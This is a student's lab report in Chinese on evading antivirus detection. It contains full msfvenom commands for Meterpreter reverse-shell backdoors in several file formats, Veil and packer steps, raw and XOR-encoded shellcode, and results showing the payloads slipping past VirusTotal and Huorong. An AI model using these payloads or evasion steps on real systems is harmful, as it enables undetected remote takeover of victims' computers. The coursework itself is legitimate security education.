1.实验内容
1.1 实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 回答问题
(1)杀软是如何检测出恶意代码的?
有以下几种主要技术:
特征检测:杀毒软件会维护一个恶意代码的特征数据库,其中包含已知恶意软件的特征和指纹。当扫描文件时,杀毒软件会检查文件的特征是否与数据库中的已知恶意代码匹配。
行为检测:杀毒软件会监视程序的行为,并根据其执行的操作来判断其是否具有恶意意图。例如,如果程序试图修改系统文件或发送敏感信息,则可能被标记为恶意。
启发式检测:杀毒软件使用启发式分析来检测未知的恶意代码。它会评估程序的行为和特性,以推断其是否可能是恶意软件。这种方法可以帮助检测新型恶意代码或变种。
沙箱分析:一些杀毒软件会将可疑文件放入安全环境中运行,以观察其行为。通过在隔离环境中执行文件,杀毒软件可以分析其操作并确定是否为恶意。
(2)免杀是做什么?
免杀是指恶意代码制作者采取各种技术手段,使其所创建的恶意代码能够绕过杀毒软件等安全防护机制,不被检测出来。这种做法可以让恶意代码在目标系统中持续存在和执行,从而实现攻击者的恶意目的。免杀技术通常包括对恶意代码进行加密、混淆、变形等处理,以使其不易被传统的安全软件所识别和拦截。
(3)免杀的基本方法有哪些?
改变特征码:因为杀软是利用检测特征码来检测恶意代码的,那免杀就一定可以通过改变特征码来实现。如果可以在不影响程序功能的情况下,依靠分片等方法尝试找出特征码区域,并对该区域代码进行重新编码,那么就可能实现代码的免杀。
加花:花指令实质就是一串垃圾指令,它与程序本身的功能无关,并不影响程序本身的逻辑。 在软件保护中,花指令可以被作为一种手段来增加静态分析的难度。同时,它也可以被用在病毒或木马上,通过加入花指令改变程序的特征码,躲避杀软的扫描,从而达到免杀的目的。
加壳:软件加壳也可以说是软件加密,只是加密的方式和目的不同而已。一般的加密是为了不让别人浏览,而加壳是为了使恶意代码不让杀毒软件查杀。加壳并不会破坏程序本身,当我们运行它时,系统会将加密程序释放到内存中去,表面上看起来没有任何变化,但实则上“壳”已经实现了它的作用。
1.3 本周学习内容
(1)简单后门实践
netcat工具:探测端口是否开放、局域网聊天、文件传输、正向连接、反向连接(-e重定向马上连接)
Meterpreter工具:Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道(shell)。
Veil Evasion:veil-evasion是linux平台的一款免杀工具,用来生成msf的payload(+meterpreter),能绕过常见的杀软。(生成免杀工具)
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msfvenom生成.exe后门可执行程序
(1)不使用编码器生成后门程序20222411.exe
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=9999 -f exe > 20222411.exe
送入VirusTotal检测,效果不是很好,检测率61/73,可以被大多数供应商检测到。
(2)通过指令msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.222.129 LPORT=9999 -f exe > 20222411_1.exe
使用编码器生成后面程序20222411_1.exe(进行一次编码)
送入VirusTotal检测,效果也不是很好,检测率62/73,可以被大多数供应商检测到。
(3)通过指令msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -i 24 -b ‘\x00’ LHOST=192.168.222.129 LPORT=9999 -f exe > 20222411_2.exe
使用编码器生成后面程序20222411_1.exe(编码24次)
解释这个命令的各个部分:
-p windows/meterpreter/reverse_tcp
: 指定生成的Payload类型为Meterpreter反向TCP shell,用于与攻击者的监听器建立连接。
-e /x86/shikata_ga_nai
: 使用Shikata Ga Nai编码器对Payload进行混淆,增加免杀能力。
-i 24
: 指定编码器的迭代次数为24次,用于增加混淆程度。
-b ‘\x00’
: 指定要避免的字符,这里是避免空字符\x00
,以防止在传输过程中被误解释。
送入VirusTotal检测,检测率61/73。
(2)使用msfvenom生成其他格式的后门文件
采用msfvenom指令通过选择不同的payload,来生成不同格式的后门文件,包括.jar文件、.php文件、.py文件以及.apk文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=9999 -f jar > 20222411.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=9999 x > 20222411.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=9999 -f py > 20222411.py
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=9999 x > 20222411.apk
分别将以上各类型的后门程序上传至VirusTotal进行检测,结果如下。
20222411.jar:
20222411.php:
20222411.py:
20222411.apk:
综上,我已经利用msfvenom生成了若干个后门程序,它们在VirusTotal上都有着不同的检测率。具体如下:
序号 | 免杀方式 | 文件名 | VirusTotal |
---|---|---|---|
1 | msfvenom直接生成 | 20222411.exe | 61/73 |
2 | msfvenom 编码一次 | 20222411_1.exe | 62/73 |
3 | msfvenom 多次编码 | 20222411_2.exe | 61/73 |
4 | 生成.jar后门文件 | 20222411.jar | 34/64 |
5 | 生成.php后门文件 | 20222411.php | 26/63 |
6 | 生成.py后门文件 | 20222411.py | 0/63 |
7 | 生成.apk后门文件 | 20222411.apk | 26/66 |
2.1.2 使用Veil生成后门程序
(1)下载配置Veil
安装veil,依次输入以下命令:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
apt-get install veil
sudo su
cd /usr/share/veil/config/
vim setup.sh
在第200多行的代码中,找到下图内容,按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出;
运行veil进行安装;
过程中可能需要安装多个程序,一路默认安装即可;
通过命令use evasion
进入evasion模块,如下图
可以看到Veil为我们提供了共41个可用的payload,可以通过输入list
指令具体查看每一个payload的名称。
(2)利用Veil生成后门程序
如图,输入use 7
,选择载荷c/meterpreter/rev_tcp后,输入 set LHOST 192.168.222.129
和set LPORT 9999
分别set好LHOST、LPORT,输入generate
指令开始生成文件V20222411.exe
在/var/lib/veil/output/compoled中找到将V20222411.exe,上传至VirusTotal进行检测,检测率为44/73,免杀有一定效果但并不显著。
2.1.3 加壳处理来试图实现免杀
(1)压缩加壳
输入指令upx 20222411.exe -o 20222411_upx.exe
,对后门文件进行压缩加壳,可以看到压缩率为65.21%,生成文件20222411_upx.exe。
将20222411_upx.exe上传至VirusTotal检测,检测率为55/72,没什么效果。
(2)加密加壳
先输入cp 20222411.exe /usr/share/windows-resources/hyperion
复制需要加壳的文件;再输入cd /usr/share/windows-resources/hyperion
进入文件夹。
输入指令wine hyperion.exe -v 20222411.exe 20222411_hyperion.exe
对文件进行加密加壳
在/usr/share/windows-resources/hyperion中找到20222411_hyperion.exe,上传检测,检测率仍很不理想,高达53/73.
2.1.4 采用C+shellcode来试图实现免杀
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.222.129 LPORT=9999 -f c
来获取一段shellcode编码。
输入vi 20222411_C.c
,创建文件并将shellcode加入进去,如图。
输入gcc 20222411_C.c -o 20222411_C.exe
采用gcc编译20222411_C.exe文件并传至主机。
上传至VirusTotal检测,效果不错!!检测率只有15/66。
2.2 通过组合应用各种技术实现恶意代码免杀
2.2.1 msfvenom多次编码+压缩加壳
依次输入指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.222.129 LPORT=9999 -f exe >20222411_4.exe
upx 20222411.exe -o 20222411_4_upx.exe
利用多次编码方式生成后门软件并进行加壳处理。
上传至VirusTotal检测,检测率为54/72。
2.2.2 C+shellcode编码+异或处理
创建文件20222411_OR.c,编写使其将刚刚生成的shellcode编码在异或处理后输出到文件20222411shellcode.txt,具体如下。
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18"
"\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6a\x80\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
使用gcc编译后运行,得到异或后的shellcode编码。
运行20222411_OR.exe后打开20222411shellcode.txt
\xfd\xe9\x8e\x1\x1\x1\x61\x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a\x53\x15\x30\xfe\xe\xb6\x4b\x27\x8a\x73\x29\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6\x48\x74\xee\x53\x8a\x53\x11\x56\x8a\x43\x3d\x0\xd1\x8a\x41\x79\x84\xc1\x75\x4d\x0\xd1\x51\x8a\x49\x19\x8a\x59\x21\x0\xd2\x84\xc8\x75\x3d\x48\x30\xfe\x8a\x35\x8a\x0\xd7\x30\xc1\xc0\xce\xc\xad\x0\xc6\x39\xe1\x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe1\x59\x8a\x59\x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5\x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50\xfe\xe1\x59\x5e\x5b\x8a\x13\xe8\x81\xfe\xfe\xfe\x5c\x69\x32\x33\x1\x1\x69\x76\x72\x33\x5e\x55\x69\x4d\x76\x27\x6\x88\xe9\xfe\xd1\xb9\x91\x0\x1\x1\x28\xc5\x55\x51\x69\x28\x81\x6a\x1\xfe\xd4\x6b\xb\x69\xc1\xa9\x6b\x81\x69\x3\x1\x26\xe\x88\xe7\x51\x51\x51\x51\x41\x51\x41\x51\x69\xeb\xe\xde\xe1\xfe\xd4\x96\x6b\x11\x57\x56\x69\x98\xa4\x75\x60\xfe\xd4\x84\xc1\x75\xb\xfe\x4f\x9\x74\xed\xe9\x66\x1\x1\x1\x6b\x1\x6b\x5\x57\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7f\x37\x8a\x37\x6b\x41\x69\x1\x11\x1\x1\x57\x6b\x1\x69\x59\xa5\x52\xe4\xfe\xd4\x92\x52\x6b\x1\x57\x52\x56\x69\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7c\x29\x59\x69\x1\x41\x1\x1\x6b\x1\x51\x69\xa\x2e\xe\x31\xfe\xd4\x56\x69\x74\x6f\x4c\x60\xfe\xd4\x5f\x5f\xfe\xd\x25\xe\x84\x71\xfe\xfe\xfe\xe8\x9a\xfe\xfe\xfe\x0\xc2\x28\xc7\x74\xc0\xc2\xba\xf1\xb4\xa3\x57\x6b\x1\x52\xfe\xd4
创建文件20222411_OR_C.c文件,将异或后的编码加入进去,再利用gcc编译生成.exe后门文件传至主机。具体步骤参照实验第一部分。
上传至VirusTotal检测,效果非常好!!!检测率低至仅仅2/66。
使用火绒查杀本次实验生成的后门文件,结果如图:
查杀的10个文件中,没有20222411_OR_C.exe,说明该后门文件与杀毒软件共生。
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.222.129 LPORT=9999 -f raw >20222411.raw
,生成后门文件20222411.raw.
启动msf,配置好payload、LHOST等相关参数,开始监听。
安装[shellcode_launcher:] (https://gitee.com/vantler/shellcode_launcher/)
在主机进入20222411.raw,可以观察到成功连接。
3.问题及解决方案
-
问题1:2.2.2中生成的202222411shellcode.txt文件在虚拟机中无法复制其中内容
-
问题1解决方案:将txt文件通过共享文件夹传至Windows主机中,即可复制
-
问题2:kail虚拟机中的共享文件夹重新开机后就会消失
-
问题2解决方案:命令行中输入vmhgfs-fuse .host:/ /mnt/hgfs
4.学习感悟、思考等
本次实验我学习了免杀的原理,学习了netcat、Meterpreter、Veil Evasion等工具的使用,我成功制作了一个火绒无法查杀的后门文件,并实现成功回连。但是这也促使我进行了一些思考,我们经过几节课的学习就能如此轻易制作出一个安全软件无法查杀的后门文件,这个方法一旦被有心之人利用,很容易就能去破坏别人的电脑。所以我们一定要提高安全意识,我们不能随便点击从不正规的渠道得到的文件。
除此之外,我也有一些问题还是很困惑,就是生成的.py文件为何在virustotal中检测率为0,这有待我在后面的学习中继续思考。